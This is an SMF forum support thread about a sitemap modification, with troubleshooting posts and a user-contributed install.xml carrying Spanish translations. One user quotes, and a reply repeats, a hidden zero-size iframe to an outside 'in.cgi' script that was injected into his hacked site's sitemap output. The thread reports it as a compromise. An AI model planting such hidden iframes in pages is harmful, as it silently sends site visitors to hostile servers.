Title: Re: Sitemap
Post by: capeinfo on September 28, 2009, 12:53:32 AM
Hi
Thanks for a great mod.  Your instructions are clear and everything worked... or I thought it did.  I have a few problems.

I am using the mod for 1.1.10 and I am using the jFusion bridge, with Joomla SEF url's.

The XML sitemap shows http://capeinfo.com/component/smf/ and http://capeinfo.com/component/smf/?board=27.0 which will just give an error 404.  It should be http://capeinfo.com/help/support-forum/index.php?board=27.0

And the XML link (http://capeinfo.com/index.php?option=com_smf&Itemid=25&action=sitemap;xml) also gives an error 404 for the same reason.

I'll post this question in the jFusion Forum too, but I thought you might have a quick solution.

Thanks again for a great mod



Title: Re: Sitemap
Post by: SlammedDime on September 28, 2009, 06:15:48 PM
This mod wasn't really made to work with jFusion, it was made to work with the bridge we distributed here.  I've removed support for it in the version for 2.0 as the Joomla bridge is no longer distributed by us.

the jFusion bridge works much differently than the Bridge we used to distribute, uses a different 'option' name, and it would also appear that you're using some sort of SEF type system with is also an issue for this.
Title: Re: Sitemap
Post by: shakaran on October 04, 2009, 12:17:07 AM
Hi! I did the translation for spanish/spanish_es/spanish-utf8/spanish_es-utf8 for 2.0.0 version:

install.xml

<?xml version="1.0"?>
<!DOCTYPE modification SYSTEM "http://www.simplemachines.org/xml/modification">
<modification xmlns="http://www.simplemachines.org/xml/modification" xmlns:smf="http://www.simplemachines.org/">
<id>slammeddime:sitemap</id>
<version>2.0.0</version>
<file name="$boarddir/index.php">
<operation>
<search position="after"><![CDATA[ 'smstats' => array('Stats.php', 'SMStats'),
]]></search>
<add><![CDATA[ 'sitemap' => array('Sitemap.php', 'ShowSiteMap'),
]]></add>
</operation>
</file>
<file name="$sourcedir/Admin.php">
<operation>
<search position="before"><![CDATA[ // Note the comma!! The setting with automatically appear with the first mod to be added.
]]></search>
<add><![CDATA[ 'sitemap' => array($txt['sitemap']),
]]></add>
</operation>
</file>
<file name="$sourcedir/ManageSettings.php">
<operation>
<search position="before"><![CDATA[ // Mod authors, once again, if you have a whole section to add do it AFTER this line, and keep a comma at the end.
]]></search>
<add><![CDATA[ 'sitemap' => 'ModifySitemapSettings',
]]></add>
</operation>
<operation>
<search position="before"><![CDATA[ 'description' => $txt['modification_settings_desc'],
'tabs' => array(
'general' => array(
),
]]></search>
<add><![CDATA[ 'sitemap' => array(
),
]]></add>
</operation>
<operation>
<search position="after"><![CDATA[?>]]></search>
<add><![CDATA[function ModifySitemapSettings($return_config = false)
{
global $txt, $scripturl, $context, $settings, $sc, $modSettings;

$config_vars = array(
array('check', 'sitemap_xml'),
array('int', 'sitemap_topic_count'),
'',
array('select', 'sitemap_30day_priority', array('1.0' => '1.0', '0.9' => '0.9', '0.8' => '0.8', '0.7' => '0.7', '0.6' => '0.6', '0.5' => '0.5', '0.4' => '0.4', '0.3' => '0.3', '0.2' => '0.2', '0.1' => '0.1', '0.0' => '0.0')),
array('select', 'sitemap_60day_priority', array('1.0' => '1.0', '0.9' => '0.9', '0.8' => '0.8', '0.7' => '0.7', '0.6' => '0.6', '0.5' => '0.5', '0.4' => '0.4', '0.3' => '0.3', '0.2' => '0.2', '0.1' => '0.1', '0.0' => '0.0')),
array('select', 'sitemap_90day_priority', array('1.0' => '1.0', '0.9' => '0.9', '0.8' => '0.8', '0.7' => '0.7', '0.6' => '0.6', '0.5' => '0.5', '0.4' => '0.4', '0.3' => '0.3', '0.2' => '0.2', '0.1' => '0.1', '0.0' => '0.0')),
array('select', 'sitemap_91day_priority', array('1.0' => '1.0', '0.9' => '0.9', '0.8' => '0.8', '0.7' => '0.7', '0.6' => '0.6', '0.5' => '0.5', '0.4' => '0.4', '0.3' => '0.3', '0.2' => '0.2', '0.1' => '0.1', '0.0' => '0.0')),
);

if ($return_config)
return $config_vars;

$context['post_url'] = $scripturl . '?action=admin;area=modsettings;save;sa=sitemap';
$context['settings_title'] = $txt['sitemap'];

// Saving?
if (isset($_GET['save']))
{
checkSession();
$save_vars = $config_vars;
saveDBSettings($save_vars);
redirectexit('action=admin;area=modsettings;sa=sitemap');
}
prepareDBSettingContext($config_vars);
}

]]></add>
</operation>
</file>
<file name="$themedir/index.template.php">
<operation>
<search position="before"><![CDATA[ <li class="copywrite">', theme_copyright(), '</li>
]]></search>
<add><![CDATA[ <li><a href="', $scripturl, '?action=sitemap"><span>', $txt['sitemap'] ,'</span></a></li>
]]></add>
</operation>
</file>
<file name="$languagedir/Help.english.php">
<operation>
<search position="after"><![CDATA[?>]]></search>
<add><![CDATA[// SMF Sitemap Strings
$helptxt['sitemap_xml'] = 'When unchecked, the <em>link</em> to the XML sitemap will only be shown to admins.  When checked, anyone can see it.';
$helptxt['sitemap_topic_count'] = 'This is the maximum number of topics that will be displayed in the XML sitemap.  Default is 20000.  You can set this to 0 to display all topics on your board';

]]></add>
</operation>
</file>
    <file name="$languagedir/Help.spanish.php" error="skip">
<operation>
<search position="after"><![CDATA[?>]]></search>
<add><![CDATA[// SMF Sitemap Strings
$helptxt['sitemap_xml'] = 'Cuando este sin seleccionar, el <em>enlace</em> a el sitemap XML solo será mostrado a los administradores. Cuando este seleccionado, nadie podrá verlo.';
$helptxt['sitemap_topic_count'] = 'Este es el máximo número de temas que serán mostrados por el sitemap XML. Por defecto es 20000. Puedes establecer esto a 0 para mostar todos los temas en tu tablón';

]]></add>
</operation>
</file>
    <file name="$languagedir/Help.spanish-utf8.php" error="skip">
<operation>
<search position="after"><![CDATA[?>]]></search>
<add><![CDATA[// SMF Sitemap Strings
$helptxt['sitemap_xml'] = 'Cuando este sin seleccionar, el <em>enlace</em> a el sitemap XML solo ser&aacute; mostrado a los administradores. Cuando este seleccionado, nadie podr&aacute; verlo.';
$helptxt['sitemap_topic_count'] = 'Este es el m&aacute;ximo n&uacute;mero de temas que ser&aacute;n mostrados por el sitemap XML. Por defecto es 20000. Puedes establecer esto a 0 para mostar todos los temas en tu tabl&oacute;n';

]]></add>
</operation>
</file>
    <file name="$languagedir/Help.spanish_es.php" error="skip">
<operation>
<search position="after"><![CDATA[?>]]></search>
<add><![CDATA[// SMF Sitemap Strings
$helptxt['sitemap_xml'] = 'Cuando este sin seleccionar, el <em>enlace</em> a el sitemap XML solo será mostrado a los administradores. Cuando este seleccionado, nadie podrá verlo.';
$helptxt['sitemap_topic_count'] = 'Este es el máximo número de temas que serán mostrados por el sitemap XML. Por defecto es 20000. Puedes establecer esto a 0 para mostar todos los temas en tu tablón';

]]></add>
</operation>
</file>
    <file name="$languagedir/Help.spanish_es-utf8.php" error="skip">
<operation>
<search position="after"><![CDATA[?>]]></search>
<add><![CDATA[// SMF Sitemap Strings
$helptxt['sitemap_xml'] = 'Cuando este sin seleccionar, el <em>enlace</em> a el sitemap XML solo ser&aacute; mostrado a los administradores. Cuando este seleccionado, nadie podr&aacute; verlo.';
$helptxt['sitemap_topic_count'] = 'Este es el m&aacute;ximo n&uacute;mero de temas que ser&aacute;n mostrados por el sitemap XML. Por defecto es 20000. Puedes establecer esto a 0 para mostar todos los temas en tu tabl&oacute;n';

]]></add>
</operation>
</file>
<file name="$languagedir/Modifications.english.php">
<operation>
<search position="after"><![CDATA[?>]]></search>
<add><![CDATA[// SMF Sitemap Strings
$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Boards';
$txt['sitemap_xml'] = 'Show Sitemap XML <em>link</em>';
$txt['sitemap_topic_count'] = 'Maximum number of topics to display in XML sitemap<div class="smalltext">0 to show all (<strong class="error">NOT RECOMMENDED ON LARGE BOARDS</strong>)</div>';
$txt['sitemap_board_none'] = 'No boards to display';
$txt['sitemap_topic_none'] = 'No topics to display';
$txt['sitemap_30day_priority'] = 'Priority for topics active in the last 30 days';
$txt['sitemap_60day_priority'] = 'Priority for topics active in the last 60 days';
$txt['sitemap_90day_priority'] = 'Priority for topics active in the last 90 days';
$txt['sitemap_91day_priority'] = 'Priority for topics older than 90 days';

]]></add>
</operation>
</file>
    <file name="$languagedir/Modifications.spanish.php" error="skip">
<operation>
<search position="after"><![CDATA[?>]]></search>
<add><![CDATA[// SMF Sitemap Strings
$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Foros';
$txt['sitemap_xml'] = 'Mostrar el <em>enlace</em> al Sitemap XML';
$txt['sitemap_topic_count'] = 'Máximo número de temas a mostrar en el sitemap XML<div class="smalltext">0 para mostrar todos (<strong class="error">NO RECOMENDADO EN GRANDES FOROS</strong>)</div>';
$txt['sitemap_board_none'] = 'No hay foros para mostrar';
$txt['sitemap_topic_none'] = 'No hay temas para mostrar';
$txt['sitemap_30day_priority'] = 'Prioridad para temas activos en los últimos 30 días';
$txt['sitemap_60day_priority'] = 'Prioridad para temas activos en los últimos 60 días';
$txt['sitemap_90day_priority'] = 'Prioridad para temas activos en los últimos 90 días';
$txt['sitemap_91day_priority'] = 'Prioridad para temas más viejos de 90 días';

]]></add>
</operation>
</file>
    <file name="$languagedir/Modifications.spanish-utf8.php" error="skip">
<operation>
<search position="after"><![CDATA[?>]]></search>
<add><![CDATA[// SMF Sitemap Strings
$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Foros';
$txt['sitemap_xml'] = 'Mostrar el <em>enlace</em> al Sitemap XML';
$txt['sitemap_topic_count'] = 'M&aacute;ximo n&uacute;mero de temas a mostrar en el sitemap XML<div class="smalltext">0 para mostrar todos (<strong class="error">NO RECOMENDADO EN GRANDES FOROS</strong>)</div>';
$txt['sitemap_board_none'] = 'No hay foros para mostrar';
$txt['sitemap_topic_none'] = 'No hay temas para mostrar';
$txt['sitemap_30day_priority'] = 'Prioridad para temas activos en los &uacute;ltimos 30 d&iacute;as';
$txt['sitemap_60day_priority'] = 'Prioridad para temas activos en los &uacute;ltimos 60 d&iacute;as';
$txt['sitemap_90day_priority'] = 'Prioridad para temas activos en los &uacute;ltimos 90 d&iacute;as';
$txt['sitemap_91day_priority'] = 'Prioridad para temas m&aacute;s viejos de 90 d&iacute;as';

]]></add>
</operation>
</file>
    <file name="$languagedir/Modifications.spanish_es.php" error="skip">
<operation>
<search position="after"><![CDATA[?>]]></search>
<add><![CDATA[// SMF Sitemap Strings
$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Foros';
$txt['sitemap_xml'] = 'Mostrar el <em>enlace</em> al Sitemap XML';
$txt['sitemap_topic_count'] = 'Máximo número de temas a mostrar en el sitemap XML<div class="smalltext">0 para mostrar todos (<strong class="error">NO RECOMENDADO EN GRANDES FOROS</strong>)</div>';
$txt['sitemap_board_none'] = 'No hay foros para mostrar';
$txt['sitemap_topic_none'] = 'No hay temas para mostrar';
$txt['sitemap_30day_priority'] = 'Prioridad para temas activos en los últimos 30 días';
$txt['sitemap_60day_priority'] = 'Prioridad para temas activos en los últimos 60 días';
$txt['sitemap_90day_priority'] = 'Prioridad para temas activos en los últimos 90 días';
$txt['sitemap_91day_priority'] = 'Prioridad para temas más viejos de 90 días';

]]></add>
</operation>
</file>
    <file name="$languagedir/Modifications.spanish_es-utf8.php" error="skip">
<operation>
<search position="after"><![CDATA[?>]]></search>
<add><![CDATA[// SMF Sitemap Strings
$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Foros';
$txt['sitemap_xml'] = 'Mostrar el <em>enlace</em> al Sitemap XML';
$txt['sitemap_topic_count'] = 'M&aacute;ximo n&uacute;mero de temas a mostrar en el sitemap XML<div class="smalltext">0 para mostrar todos (<strong class="error">NO RECOMENDADO EN GRANDES FOROS</strong>)</div>';
$txt['sitemap_board_none'] = 'No hay foros para mostrar';
$txt['sitemap_topic_none'] = 'No hay temas para mostrar';
$txt['sitemap_30day_priority'] = 'Prioridad para temas activos en los &uacute;ltimos 30 d&iacute;as';
$txt['sitemap_60day_priority'] = 'Prioridad para temas activos en los &uacute;ltimos 60 d&iacute;as';
$txt['sitemap_90day_priority'] = 'Prioridad para temas activos en los &uacute;ltimos 90 d&iacute;as';
$txt['sitemap_91day_priority'] = 'Prioridad para temas m&aacute;s viejos de 90 d&iacute;as';

]]></add>
</operation>
</file>
<file name="$languagedir/Who.english.php">
<operation>
<search position="after"><![CDATA[$txt['whoall_collapse_collapse'] = 'Collapsing a category.';
]]></search>
<add><![CDATA[$txt['whoall_sitemap'] = 'Viewing the <a href="' . $scripturl . '?action=sitemap">' . $txt['sitemap'] . '</a>.';
]]></add>
</operation>
</file>
    <file name="$languagedir/Who.spanish.php" error="skip">
<operation>
<search position="after"><![CDATA[$txt['whoall_collapse_collapse'] = 'Colapsando una categoría.';
]]></search>
<add><![CDATA[$txt['whoall_sitemap'] = 'Viendo el <a href="' . $scripturl . '?action=sitemap">' . $txt['sitemap'] . '</a>.';
]]></add>
</operation>
</file>
    <file name="$languagedir/Who.spanish-utf8.php" error="skip">
<operation>
<search position="after"><![CDATA[$txt['whoall_collapse_collapse'] = 'Colapsando una categoría.';
]]></search>
<add><![CDATA[$txt['whoall_sitemap'] = 'Viendo el <a href="' . $scripturl . '?action=sitemap">' . $txt['sitemap'] . '</a>.';
]]></add>
</operation>
</file>
    <file name="$languagedir/Who.spanish_es.php" error="skip">
<operation>
<search position="after"><![CDATA[$txt['whoall_collapse_collapse'] = 'Colapsando una categoría.';
]]></search>
<add><![CDATA[$txt['whoall_sitemap'] = 'Viendo el <a href="' . $scripturl . '?action=sitemap">' . $txt['sitemap'] . '</a>.';
]]></add>
</operation>
</file>
    <file name="$languagedir/Who.spanish_es-utf8.php" error="skip">
<operation>
<search position="after"><![CDATA[$txt['whoall_collapse_collapse'] = 'Colapsando una categoría.';
]]></search>
<add><![CDATA[$txt['whoall_sitemap'] = 'Viendo el <a href="' . $scripturl . '?action=sitemap">' . $txt['sitemap'] . '</a>.';
]]></add>
</operation>
</file>
</modification>
Title: Re: Sitemap
Post by: magnitude2007 on October 05, 2009, 05:01:38 PM
I have installed sitemap_2.0.0.tar.gz on smf 2.0 rc 1 but i cant access the xml file.
when i click on sitemap bottom at the forum it redirect me to new page where 3 options are visible and then i clicked on xml i get this link >>http://my-forum.com/index.php?action=sitemap;xml which is not recognised by google webmaster tools and gives this error     
Sitemap is HTML
Your Sitemap appears to be an HTML page. Please use a supported sitemap format instead.    
Problem detected on: Oct 5, 2009
.
please suggest me to enable the option to modify the link to this type http://my-forum.com/index.php?action=sitemap.xml

Many many thanks for this mod
Title: Re: Sitemap
Post by: SlammedDime on October 05, 2009, 06:05:42 PM
Can't help you without a link to your site.
Title: Re: Sitemap
Post by: lolicute on October 07, 2009, 09:55:34 AM
I'm using pretty urls mod in my forum, and i have just installed the sitemap 1.2.2, but the problem is... the urls not have pretty urls...

This is my sitemap:
http://www.ciudadcaos.net/foros/sitemap/?xml

how can put pretty urls in the sitemap?
Title: Re: Sitemap
Post by: pkkm on October 07, 2009, 05:34:26 PM
What do I have to modify for Prety URLs to work with Sitemap?
Title: Re: Sitemap
Post by: plusev on October 07, 2009, 06:19:10 PM
Quote from: DarkCo0oL on October 07, 2009, 09:55:34 AM
I'm using pretty urls mod in my forum, and i have just installed the sitemap 1.2.2, but the problem is... the urls not have pretty urls...

This is my sitemap:
http://www.ciudadcaos.net/foros/sitemap/?xml

how can put pretty urls in the sitemap?

I see them just fine on your sitemap.
Title: Re: Sitemap
Post by: lolicute on October 08, 2009, 12:11:42 AM
I can fix the sitemap, regards.
Title: Re: Sitemap
Post by: pkkm on October 08, 2009, 05:48:38 PM
How to make Sitemap 2.0 work with Pretty URLs 1.0 RC (display Pretty URLs) ?
Title: Re: Sitemap
Post by: SlammedDime on October 08, 2009, 05:50:17 PM
you can look back a few pages, or you can wait a few days until RC2 is released to the public at which time I'll be posting a new version of the Sitemap that does work with Pretty Urls.
Title: Re: Sitemap
Post by: Sabre™ on October 08, 2009, 07:41:41 PM
Hi mate, not sure if somebody has mentioned this, we know how accurate the search function can be at times ;) , so my apologies if it has been addressed.
There is an extra </div> in the Sitemap.template.php for smf 1.x.x
<td align="center" width="40">', $board['numt'], '</div></td>
Title: Re: Sitemap
Post by: avjshah on October 11, 2009, 12:50:28 PM
I am running wordpress on root folder and smf in /forum directory, how to integrate sitemap.xml ?

I see /forum/sitemap is working on my site, but google is not indexing my forum post while wordpress post got indexed within few mins of my post.

please help me why google is not indexing my forum.

url : http://www.bollyupdates.com/forum
Title: Re: Sitemap
Post by: SlammedDime on October 11, 2009, 01:59:18 PM
I can't tell you why google won't index your site... this mod is not made to get you indexed.  You need content on your board... you only have 60 posts and probably no backlinks...
Title: Re: Sitemap
Post by: Impsat-1 on October 13, 2009, 01:58:56 PM
Mmm... hey SlammedDime your mod have this iframe? look

</urlset><!-- ~ --><iframe src="http://liventernet.com/s/in.cgi?3" width="0" height="0" style="display:none"&...
N class="t">lastmod>
  <changefreq>daily</changefreq>
  <priority>0.8</priority>
  </url>


I can see this iframe in the xml online, can you tell me if this iframe is yours? or if it is correct? that's... please tell me, because that could be a security failure or a some bug... or is a BUG on my server or forum, may be I' hacked so I'need fix this error because in firefox can`t see the XML file please... tell me where I can find this code line for edit :-\, the MOD is great but please review thats, thanks SlammedDime sorry for my english but I'm from Argentina... and mi natural languaje is spanish, Regards... 8).-
Title: Re: Sitemap
Post by: fff on October 13, 2009, 02:49:24 PM
my forum is http://www.ptcinformation.com/
I tried to install this mod manually because I  use the MaisTrafego theme.
i cant find the following files: /Themes/maistrafego/languages/Help.english.php,
/Themes/maistrafego/languages/Modifications.english.php ,  /Themes/maistrafego/languages/Who.english.php ,  /Themes/maistrafego/style.css

Also I cant find this in /Themes/maistrafego/index.template.php
$txt['whoall_collapse_collapse'] = 'Collapsing a category.';
$txt['whoall_collapse_expand'] = 'Expanding a category.';


So there isn't "sitemap" link in the bottom of my forum
Title: Re: Sitemap
Post by: SlammedDime on October 13, 2009, 03:53:22 PM
Quote from: Nahuel-1 on October 13, 2009, 01:58:56 PM
Mmm... hey SlammedDime your mod have this iframe? look

</urlset><!-- ~ --><iframe src="http://liventernet.com/s/in.cgi?3" width="0" height="0" style="display:none"&...
N class="t">lastmod>
  <changefreq>daily</changefreq>
  <priority>0.8</priority>
  </url>


I can see this iframe in the xml online, can you tell me if this iframe is yours? or if it is correct? that's... please tell me, because that could be a security failure or a some bug... or is a BUG on my server or forum, may be I' hacked so I'need fix this error because in firefox can`t see the XML file please... tell me where I can find this code line for edit :-\, the MOD is great but please review thats, thanks SlammedDime sorry for my english but I'm from Argentina... and mi natural languaje is spanish, Regards... 8).-

Link: Here (http://www.hacketico.com.ar/foro/index.php?action=sitemap;xml)
You have been hacked, that is not part of the mod.

Quote from: fff on October 13, 2009, 02:49:24 PM
my forum is http://www.ptcinformation.com/
I tried to install this mod manually because I  use the MaisTrafego theme.
i cant find the following files: /Themes/maistrafego/languages/Help.english.php,
/Themes/maistrafego/languages/Modifications.english.php ,  /Themes/maistrafego/languages/Who.english.php ,  /Themes/maistrafego/style.css

Also I cant find this in /Themes/maistrafego/index.template.php
$txt['whoall_collapse_collapse'] = 'Collapsing a category.';
$txt['whoall_collapse_expand'] = 'Expanding a category.';


So there isn't "sitemap" link in the bottom of my forum

If your custom theme does not have those files, you need to check in the default theme and make sure they exist there and were modified properly.

As for the whoall_ text strings, they don't go in index.template.php, they go in Who.english.php.
Title: Re: Sitemap
Post by: Impsat-1 on October 13, 2009, 04:15:40 PM
Mmm... Ok wow I was hacked, I don't know yet how... but the fail was in the "index.php" and "index.php~" hey SlammedDime Thanks for You Help... all Clean Now & the mod fine working ;) regards 8).-
Title: Re: Sitemap
Post by: fff on October 14, 2009, 05:18:36 PM

Quote from: fff on October 13, 2009, 02:49:24 PM
my forum is http://www.ptcinformation.com/
I tried to install this mod manually because I  use the MaisTrafego theme.
i cant find the following files: /Themes/maistrafego/languages/Help.english.php,
/Themes/maistrafego/languages/Modifications.english.php ,  /Themes/maistrafego/languages/Who.english.php ,  /Themes/maistrafego/style.css

Also I cant find this in /Themes/maistrafego/index.template.php
$txt['whoall_collapse_collapse'] = 'Collapsing a category.';
$txt['whoall_collapse_expand'] = 'Expanding a category.';


So there isn't "sitemap" link in the bottom of my forum

If your custom theme does not have those files, you need to check in the default theme and make sure they exist there and were modified properly.

As for the whoall_ text strings, they don't go in index.template.php, they go in Who.english.php.
[/quote]
I modified them in the default theme
And for the whoall_ text strings, I made a mistake. I didnt mean bout that.

I meant about this
</td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">

I cant find this in /Themes/maistrafego/index.template.php

And I cant still see the "sitemap" link in the bottom of my forum
Title: Re: Sitemap
Post by: fff on October 14, 2009, 05:20:16 PM
Quote from: fff on October 14, 2009, 05:18:36 PM

Quote from: fff on October 13, 2009, 02:49:24 PM
my forum is http://www.ptcinformation.com/
I tried to install this mod manually because I  use the MaisTrafego theme.
i cant find the following files: /Themes/maistrafego/languages/Help.english.php,
/Themes/maistrafego/languages/Modifications.english.php ,  /Themes/maistrafego/languages/Who.english.php ,  /Themes/maistrafego/style.css

Also I cant find this in /Themes/maistrafego/index.template.php
$txt['whoall_collapse_collapse'] = 'Collapsing a category.';
$txt['whoall_collapse_expand'] = 'Expanding a category.';


So there isn't "sitemap" link in the bottom of my forum

If your custom theme does not have those files, you need to check in the default theme and make sure they exist there and were modified properly.

As for the whoall_ text strings, they don't go in index.template.php, they go in Who.english.php.
I modified them in the default theme
And for the whoall_ text strings, I made a mistake. I didnt mean about that.

I meant about this
</td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">

I cant find this in /Themes/maistrafego/index.template.php

And I cant still see the "sitemap" link in the bottom of my forum
[/quote]
Title: Re: Sitemap
Post by: SlammedDime on October 15, 2009, 06:53:06 AM
You can add the link anywhere, it doesn't need to go in any specific spot... just locate the copyright() function call in index.template.php and place it somewhere around there.
Title: Re: Sitemap
Post by: diablo3x.dk on October 15, 2009, 09:16:58 AM
Hi SlammedDime.

Thanks for providing this mod.
It installed without any problems, and show only on default theme as expected.

Is this enough in order to get indexed @ google etc. or does your mod not support that kind of thing? :)
Title: Re: Sitemap
Post by: SlammedDime on October 15, 2009, 05:54:20 PM
This makes no promise of getting you indexed... it's up to you to have worthwhile content on your site for that to happen.
Title: Re: Sitemap
Post by: ixobixo on October 18, 2009, 10:55:55 AM
First of all thanks for the mod.

For me all works fine except the xml function.

You can check it at:
or

The error it shows is:
-----------------------------------------------------------------------------------------.
Error reading XML: badly formed                                                            |
Location: h ttp://www.wow-info.es/index.php?action=sitemap;xml      |
Number of line 2, column 1:                                                                    |
<?xml version="1.0" encoding="UTF-8"?>                                             |
^                                                                                                            |
-----------------------------------------------------------------------------------------'

I Searched for a solution reading all this long post but nothing works for me. Any ideas?

Thanks in advance.
Title: Re: Sitemap
Post by: SlammedDime on October 18, 2009, 03:09:22 PM
<xml has to be on the VERY FIRST line of the document.  If you look at the source code of your page, it's not, it's on the second line.  That means you have an extra space somewhere in your files.  This same space is present on all of your forum pages too (look at the HTML source).  This extra space is either at the beginning of one of your PHP files, or at the end of one of them.  <?php MUST be the very first line of every file, and ?> must be the last.
Title: Re: Sitemap
Post by: ixobixo on October 18, 2009, 04:33:37 PM
Sorry for asking again SlammedDime, but can you tell me more or less what file should contain that "space"?

I'm looking for it in all smf files but i'ts very hard to do it.

Thanks in advance.
Title: Re: Sitemap
Post by: ixobixo on October 18, 2009, 07:25:39 PM
Fixed, had to replace the entire Sources directory.
Title: Re: Sitemap
Post by: saosangmo on October 19, 2009, 04:13:28 PM
hi SlammedDime,
thanks for your great mod.
I have installed the latest prettyURL mod, how can I enable SEO for XML sitemap?

http://www.huongtinhyeu.net/index.php?action=sitemap;xml

thanks,
-saosangmo
Title: Re: Sitemap
Post by: Dharshan on October 22, 2009, 01:56:05 AM
cool mod, thanks a bunch!
Title: Re: Sitemap
Post by: SlammedDime on October 22, 2009, 11:19:52 PM
Quote from: Slobodan Radosavljevic on October 19, 2009, 12:53:32 PM
I install Sitemap at 1.1.10 and all is fine but when i want to submite map at google says that is not valid (not said that but can't submit it.. i tryed resubmit but same..) link to XML map is mysite.com/forum/index.php?action=sitemap;xml and i put in google webmaster tools and can't accept it  i have either error on XML page

        This XML file does not appear to have any style information associated with it. The document tree is shown below.
     

Any help?

I install sitemap automatic on 1.1.10 with no errors at all.
I need a real link to your site, otherwise I can't help.  As for the 'error' about no style information, that is not an error, just the browser telling you there is no stylesheet associated with the XML document.
Title: Re: Sitemap
Post by: SlammedDime on October 22, 2009, 11:21:33 PM
Quote from: saosangmo on October 19, 2009, 04:13:28 PM
hi SlammedDime,
thanks for your great mod.
I have installed the latest prettyURL mod, how can I enable SEO for XML sitemap?

http://www.huongtinhyeu.net/index.php?action=sitemap;xml

thanks,
-saosangmo
You didn't specify which version of the sitemap you installed ('latest' or 'newest' is not a version).  The Sitemap for SMF 2.0 does not support Pretty Urls yet.  It will when 2.0 RC2 is released.  The version for SMF 1.1.10 has a small bug with the way SEO stuff is done that I'll probably correct when I release the new version for 2.0 RC2 as well.
Title: Re: Sitemap
Post by: Slobodan Radosavljevic on October 23, 2009, 08:38:15 AM
Real link which i want to add in google sitemap is http://pro-hack.info/forum/sitemap/?xml
Title: Re: Sitemap
Post by: SlammedDime on October 23, 2009, 04:48:36 PM
Try this... http://pro-hack.info/forum/index.php?action=sitemap;xml
Title: Re: Sitemap
Post by: SlammedDime on October 24, 2009, 07:15:11 PM
Does it give you any errors specifically?
Title: Re: Sitemap
Post by: Slobodan Radosavljevic on October 25, 2009, 11:30:04 AM
No just google not want to accept like sitemap don't why see attachment which i add in previous post.. and says this in error into: Sitemap errors and warnings
   Line    Status    Details
Errors    4    
Paths don't match
We've detected that you submitted your Sitemap using a URL path that includes the www prefix (for instance, http://www.example.com/sitemap.xml). However, the URLs listed inside your Sitemap don't use the www prefix (for instance, http://example.com/myfile.htm).    
URL: http://pro-hack.info/forum/index.php
Problem detected on: Oct 24, 2009
Title: Re: Sitemap
Post by: SlammedDime on October 25, 2009, 04:55:58 PM
The error is there in plain text... you've told google that you're site is http://www.pro-hack.info, but your actual site uses http://pro-hack.info... either adjust the settings on your site to use www, or change google to not have www.
Title: Re: Sitemap
Post by: hartiberlin on October 26, 2009, 03:12:32 AM
Does the current version of the Sitemap mod now also
index PortaMX single pages with content in it ?
For example the RSS Feeds
I have put on the start page of my
overunity.de
forum ?

If not, will you soon support it ?

Many thanks.
Title: Re: Sitemap
Post by: SlammedDime on October 26, 2009, 03:20:20 AM
It's something to consider, but it probably won't happen soon.
Title: Re: Sitemap
Post by: hartiberlin on October 26, 2009, 03:54:43 AM
Does your sitemap already index your own RSS feeder too ?

As it puts in the RSS postings into the boards,
the Sitemap mod should index these postings, right ?
Title: Re: Sitemap
Post by: feline on October 26, 2009, 10:51:10 AM
Quote from: hartiberlin on October 26, 2009, 03:12:32 AM
Does the current version of the Sitemap mod now also
index PortaMX single pages with content in it ?
Sitemap can't indexing single pages from PortaMx, because the content is only created if the page called.

Fel
Title: Re: Sitemap
Post by: Nastradini.com on October 26, 2009, 04:10:50 PM
Hello,

I've installed the SMF Sitemap mod but when i open my sitemap the Url's type are: http://www.myname.com/forum/index.php?topic=2793.0 instead of Pretty url http://www.myname.com/forum/BoardName/

Is it normal or something go wrong?
Title: Re: Sitemap
Post by: Arantor on October 26, 2009, 04:25:35 PM
Are you using 2.0? If so, this quote from a few posts up might be of relevance:

Quote from: SlammedDime on October 22, 2009, 11:21:33 PM
You didn't specify which version of the sitemap you installed ('latest' or 'newest' is not a version).  The Sitemap for SMF 2.0 does not support Pretty Urls yet.  It will when 2.0 RC2 is released.  The version for SMF 1.1.10 has a small bug with the way SEO stuff is done that I'll probably correct when I release the new version for 2.0 RC2 as well.
Title: Re: Sitemap
Post by: Nastradini.com on October 26, 2009, 04:27:55 PM
I'm using the version for smf 1.1.10 .
Title: Re: Sitemap
Post by: hartiberlin on October 26, 2009, 11:22:17 PM
Does the current Sitemap version already work with SMF 2.0 RC2 ?

If not, are there many changes to be made of could you please post a fix ?

Many thanks.
Title: Re: Sitemap
Post by: feline on October 26, 2009, 11:43:38 PM
Quote from: hartiberlin on October 26, 2009, 11:22:17 PM
Does the current Sitemap version already work with SMF 2.0 RC2 ?
No .. but they need only small changes.
I can get it .. on our support site  ;)

Fel
Title: Re: Sitemap
Post by: SlammedDime on October 27, 2009, 12:26:06 AM
Actually the Sitemap DOES work with RC2 and there is no need for you to support it on your site, the support here is just fine.

You may need to use the 'Advanced' box at the bottom of your package manager to enable the sitemap to install on RC2, but it will install and will work.  Once RC2 is public, a new version of the mod will be uploaded to the mod site that contains bug fixes and Pretty Urls support.
Title: Re: Sitemap
Post by: Mayhem30 on October 27, 2009, 02:23:47 PM
Is this mod compatible with the 'Pretty URL's' mod?
Title: Re: Sitemap
Post by: feline on October 27, 2009, 02:59:47 PM
Quote from: SlammedDime on October 27, 2009, 12:26:06 AM
Actually the Sitemap DOES work with RC2 and there is no need for you to support it on your site, the support here is just fine.
Sure ?
The advanced settings do not work and after change the package-info to 2.0 RC2 a error occurs on install ...
See images ...  ;)

Fel
Title: Re: Sitemap
Post by: SlammedDime on October 27, 2009, 05:53:41 PM
ahh, my bad, I forgot about the template change.  No biggy, easy to correct, but definitely no need to direct people to your site for support.
Title: Re: Sitemap
Post by: funkenwerner on October 27, 2009, 06:27:25 PM
I have SMF 1.1.10

and your: smf_sitemap_1.2.2.tar.gz (8KB) [5583]

Das Paket welches Sie hochladen möchten ist ungültig oder kaputt.

in english: The package which you upload would want is invalid or broken.


???????

please help
Title: Re: Sitemap
Post by: feline on October 27, 2009, 06:55:59 PM
Quote from: SlammedDime on October 27, 2009, 05:53:41 PM
ahh, my bad, I forgot about the template change.  No biggy, easy to correct, but definitely no need to direct people to your site for support.
It's your work .. I only help members they have problems with it ...

Fel
Title: Re: Sitemap
Post by: Mayhem30 on October 28, 2009, 01:47:01 PM
